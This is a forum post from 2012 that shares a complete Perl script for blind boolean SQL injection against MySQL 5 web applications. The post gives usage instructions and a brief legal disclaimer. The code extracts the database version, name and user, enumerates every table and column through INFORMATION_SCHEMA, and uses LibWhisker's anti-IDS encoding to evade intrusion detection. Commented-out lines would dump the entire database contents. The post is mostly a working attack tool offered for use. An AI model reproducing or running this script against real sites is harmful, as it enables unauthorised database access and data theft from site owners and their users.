denjacker Posted January 3, 2012 Report Posted January 3, 2012 Info: This script uses blind SQL injection and boolean enumeration to perform INFORMATION_SCHEMA Mapping.The syntax of this script is: perl mysql5enum.pl -h [hostname] -u [url] [-q [query]]Example: perl mysql5enum.pl -h www.target.tld -u http://www.target.tld/vuln.ext?input=24 -q "select system_user()"Description By default, this script will first determine username, version and database name before enumerating the information_schema information. When the -q flag is applied, a user can supply any query that returns only a single cell If the exploit or vulnerability requires a single quote, simply tack %27 to the end of the URI. This script contains error detection : It will only work on a mysql 5.x database, and knows when its queries have syntax errors. This script uses perl's LibWhisker2 for IDS Evasion (The same as Nikto). This script uses the MD5 algorithm for optimization. There are other optimization methods, and this may not work on all sites. DisclaimerWarning: The end-user is liable for his-or her own actions with the use of this software. Running this against a system you do not own without written authorization is a criminal act.Source#!/usr/bin/perluse strict;use Getopt::Std;use Digest::MD5 qw(md5_hex);use LW2;my %options = ();getopts("u:h:q:", \%options);my $url = $options{u}; # Vuln URLmy $host = $options{h}; # Needs this for libwhisker # Format.my $count = 0;if (my $q = $opts{q}) { $q =~ s/\ /%20/g; my ($cxr, $result) = runQuery($url,$host,$q); print "Query Result:\n\t$result\nCalculated in $cxr requests.\n"; exit(1); }# Get the Database Versionmy $query = "SELECT%20VERSION()";my ($tmp, $version) = runQuery($url, $host, $query);$count += $tmp;$count += 2;print "\nDatabase Version:\t\t$version\nIn $count requests.\n\n";# Get the Database Name$query = "SELECT%20DATABASE()";my ($tmp,$answer) = runQuery($url, $host, $query);print "Database Name:\t\t$answer\nIn $tmp requests.\n\n";# Get the Database Username$query = "SELECT%20USER()";my ($tmp,$answer) = runQuery($url, $host, $query);print "Database User:\t\t$answer\nIn $tmp requests.\n\n";if ($version =~ /5\./g){ print "Enumerating Database Spec:\n"; getSchema($url,$host); exit(1);} else { print "This is not MySQL v5.x, so I can't enumerate the schema tables!\n"; exit(1);}sub getSchema{ my $url = shift; my $host = shift; my $query = "SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE())"; $query =~ s/ /%20/g; my ($c, $val) = runQuery($url,$host,$query); # $val = number of table names in the current database. for (my $i=0; $i < int($val); ++$i) { $query = "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT $i,1"; $query =~ s/ /%20/g; my ($q, $table) = runQuery($url,$host,$query); print "$table:\n"; # $table = table name $query = "SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="; $query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="; $query .= "(SELECT DATABASE()) LIMIT $i,1)"; $query =~ s/ /%20/g; my ($r, $fcount) = runQuery($url,$host,$query); # $fcount - number of columns in the table for (my $n = 0; $n < int($fcount); ++$n) { $query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="; $query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="; $query .= "(SELECT DATABASE()) LIMIT $i,1) LIMIT $n,1"; $query =~ s/ /%20/g; my ($o, $field) = runQuery($url,$host,$query); print "\t$field\n";# Uncomment the lines below to # scrape the entire database.# $query = "SELECT COUNT($field) FROM $table";# $query =~ s/ /%20/g;# my ($r, $total) = runQuery($url,$host,$query);# for (my $cn = 0; $cn < $total; $cn++)# {# $query = "SELECT $field FROM $table LIMIT $cn,1";# $query =~ s/ /%20/g;# my ($e, $data) = runQuery($url,$host,$query);# print "\t\t$data\n";# } } }}sub runQuery{ my $url = shift; my $host = shift; my $query = shift; my $qCount; my $qCH; my $pos = 1; my $floor = 0; # Bottom of ascii keyrange my $ceiling = 255; # Top of ascii keyrange my $spacer = "%20OR%20"; my $truth = "62=62/*"; my $lie = "88=98/*"; my ($true, $false) = makeTrueFalse($url, $spacer, $truth, $lie, $host); my $lenUri = "$url" . queryConstruct(0, 0, $spacer, $query); my ($qCH, $len) = getValue($lenUri, 64, 0, $true, $false, $host); $qCount += $qCH; my $results = ""; while (($pos < $len) || ($pos eq $len)) { my $uri = "$url" . queryConstruct(1, $pos, $spacer, $query); #construct the actual URI my ($qCH, $value) = getValue($uri, $ceiling, $floor, $true, $false, $host); $qCount += $qCH; my $char = chr("$value"); $results .= $char; ++$pos; } return ($qCount, $results);}#Logrithmsub getValue { my $uri = shift; my $ceiling = shift; my $floor = shift; my $true = shift; my $false = shift; my $host = shift; my $nextmaybe; my $target; my $qCount = 0; my $maybe = int($ceiling/2); # Get the middle of the total possible range of values while (not defined $target) { if (isGT($uri, $maybe, $host) eq $true) { ++$qCount; $floor = $maybe; $nextmaybe = int($maybe + (($ceiling - $floor)/2)); } elsif (isLT($uri, $maybe, $host) eq $true) { ++$qCount; $ceiling = $maybe; $nextmaybe = int($maybe - (($ceiling - $floor)/2)); } elsif (isEQ($uri, $maybe, $host) eq $true) { ++$qCount; $target = $maybe; return ($qCount, $target); } $maybe = $nextmaybe; if (($maybe eq "") || (!$maybe) || (not defined $maybe)) { print "SQL Error caught! Aborting!\n"; print "At least 3 queries in error log!\n"; exit(1); } }}# Is greater than?sub isGT{ my $uri = shift; my $guess = shift; my $host = shift; return (md5_hex(download("$uri>$guess)/*", $host)));}# Is less than?sub isLT{ my $uri = shift; my $guess = shift; my $host = shift; return (md5_hex(download("$uri<$guess)/*", $host)));}# Is equal to?sub isEQ{ my $uri = shift; my $guess = shift; my $host = shift; return (md5_hex(download("$uri=$guess)/*", $host)));}# Ripped off from an older version of the scannersub download{ my $uri = shift; my $try = 5; my $host = shift; my %request; my %response; LW2::http_init_request(\%request); $request{'whisker'}->{'method'} = "GET"; $request{'whisker'}->{'host'} = $host; $request{'whisker'}->{'uri'} = $uri; $request{'whisker'}->{'encode_anti_ids'} = 962; $request{'whisker'}->{'user-agent'} = "wget"; LW2::http_fixup_request(\%request); if(LW2::http_do_request(\%request, \%response)) { if($try < 5) { print "Failed to fetch $uri on try $try. Retrying...\n"; return undef if(!download($uri, $try++)); } print "Failed to fetch $uri.\n"; return undef; } else { return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'}); }}sub queryConstruct{ my $type = shift; my $pos = shift; my $spacer = shift; my $query = shift; if ($type eq 0) # Len { my $newQuery = "LENGTH(($query))"; my $padding = "("; my $ender = ""; return ("$spacer$padding$newQuery$ender"); } elsif ($type eq 1) # String { my $padding = "((ASCII((LOWER((MID(("; # Begin query construct my $ender = "),$pos,1))))))"; # End query Construct return ("$spacer$padding$query$ender"); #construct the actual query }}sub makeTrueFalse{ my $url = shift; my $spacer = shift; my $truth = shift; my $lie = shift; my $host = shift; my $trueMD = md5_hex(download("$url$spacer$truth", $host)); my $falsMD = md5_hex(download("$url$spacer$lie", $host)); # returns true, false return ($trueMD, $falsMD); } Quote